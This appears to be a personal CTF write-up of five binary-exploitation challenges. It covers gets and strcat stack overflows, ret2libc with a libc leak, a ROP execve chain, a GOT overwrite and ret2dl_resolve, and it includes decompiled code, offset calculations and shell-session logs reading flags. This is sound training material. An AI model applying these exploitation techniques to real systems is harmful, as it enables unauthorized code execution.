I played this CTF mainly because I was chilling out and wanted to try out some challenges from the CTF. I managed to do the every pwn challenge except space one which was heap and the exploitation mechanism of it belongs to GLIBC 2.27 and I am only familiar with GLIBC 2.24 at the moment, but I know what to do this week,
Pancake
Pancake challenge was very simple as the buffer overflow was very suspectible as the binary used the gets function which is a vulnerable function as it’ll keep taking the input a new line \n is encountered. To our luck, the binary has a function named secret which spawns a shell for us. This was basically a ret2win technique.
undefined8 main(void) { char desired_pancakes_str [128]; int desired_pancakes; int tick_2; int tick_1; int tick_0; desired_pancakes = 0; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); puts("Welcome to the pancake stacker!"); puts("How many pancakes do you want?"); gets(desired_pancakes_str); /* Vulnerable */
-- snip -- return0; }
The offset to RIP is 152 because:
We have a variable type char of size 128
4 integers variables declared afterwars that means, sizeof(int) * 4 which is 16
Adding the size of variables will be 144 and adding 8 to it we get 152 which is the offset.
This challenge was simple ret2libc attack and the binary used strcat to add 3 different buffer to single buffer which made it suspectible to buffer overflow as the 3 different buffer will be able to overflow the buffer s where all of those were being concatenated. Although, giving large buffer to all 3 different inputs will result in segfault in internal strcat function of LIBC.
Here, we see that memset fills the variable s with 0 and then takes input via getInput which is a custom read function which takes upto 64 bytes with the getchar and then checks if the number of input is more than 64. When we send 64 bytes to first and second buffer and send 63 bytes we get segfault and control over EIP.
So, from here it was just as simple as doing a 32 bit ret2libc, since LIBC wasn’t provided I leaked the puts address and used the libc database.
0 [07:43:53] vagrant@oracle(oracle) pwn> python3 almost.py [+] Opening connection to jh2i.com on port 50017: Done [*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/almost [*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/libc6-i386_2.27-3ubuntu1.2_amd64.so [*] puts@GOT: 0xf7d8b3d0 [*] Switching to interactive mode Result: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA\x80��ᆳޏ���ccccccccccccccccccccccccccccccccccccccccc://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA\x80��ᆳޏ���ccccccccccccccccccccccccccccccccccccccccc/ls almost almost.c flag.txt $ cat flag.txt flag{my_code_was_almost_secure}$ $ [*] Interrupted [*] Closed connection to jh2i.com port 50017
sad
This was a statically linked binary and it had a stack overflow vulnerability and since it was statically linked no ret2libc could be done, I chose the ROP way to do a read syscall to store /bin/sh in BSS address and then did a execvesyscall. As it was statically linked binary, we had every needed gadget this made it simple to exploit:-
# Sedding `/bin/sh` and then the execve syscall will p.sendline("/bin/sh\x00")
p.interactive()
Running the exploit:-
1 2 3 4 5 6 7 8 9 10 11
0 [07:44:40] vagrant@oracle(oracle) pwn> python3 sad.py [+] Opening connection to jh2i.com on port 50002: Done [*] Switching to interactive mode $ ls flag.txt sad $ cat flag.txt flag{radically_statically_roppingly_vulnerable} $ [*] Interrupted [*] Closed connection to jh2i.com port 50002
This challenge was quite good and I liked it, it provided us a write-what-where primitive as a service and since the binary has Partial RELRO which means GOT entry was writeable, such a handy information. It was also leaking the alarm libc address which made it simple for us to get LIBC address by searching it ftro libc database.
1 2 3 4 5 6 7
[*] '/home/vagrant/CTF/hacktivitycon/pwn/bullseye' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
0 [07:40:13] vagrant@oracle(oracle) pwn> python3 bullseye.py [*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/libc6_2.30-0ubuntu2.1_amd64.so [+] Opening connection to jh2i.com on port 50031: Done [*] alarm: 0x7fbca7ea8be0 [*] LIBC : 0x7fbca7dc3000 [*] system: 0x7fbca7e184e0 [*] Paused [Press any key to continue] [*] Switching to interactive mode You have one write, don't miss.
Where do you want to write to? $ /bin/sh $ cat flag.txt flag{one_write_two_write_good_write_bad_write} $ exit sh: 2: �@: not found What do you want to write? [*] Got EOF while reading in interactive [*] Interrupted [*] Closed connection to jh2i.com port 50031
Bacon
This is quite a good challenge. We were given a binary and it had a stackoverflow vulnerability, the program was:-
1 2 3 4 5
intmain() { char buf[1036]; read(0, buf, 1056) }
Although, it had stackoverflow vulnerability I couldn’t get to understand how to pwn this, since there wasn’t anything to leak any address so the ret2libc was out of option here, then I thought of ret2dl_resolve, this technique I learned about does not require any address leak, it will exploit the dl_runtime_resolve to exploit the link map of the functions. Using pwntools’s ROP module, it was a piece of cake.
0 [07:39:10] vagrant@oracle(oracle) pwn> python3 bacon.py [+] Opening connection to jh2i.com on port 50032: Done [*] '/home/vagrant/CTFs/hacktivity/pwn/bacon' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Loading gadgets for '/home/vagrant/CTFs/hacktivity/pwn/bacon' [*] Paused (press any to continue) [*] Switching to interactive mode $ ls bacon flag.txt $ cat flag.txt flag{don't_forget_to_take_out_the_grease} $ [*] Interrupted
That was it, I wish I did space too. But I couldn’t, so I am gonna do it later today as I took some help from someone who did the challenge. In case, you need help just message me on twitter.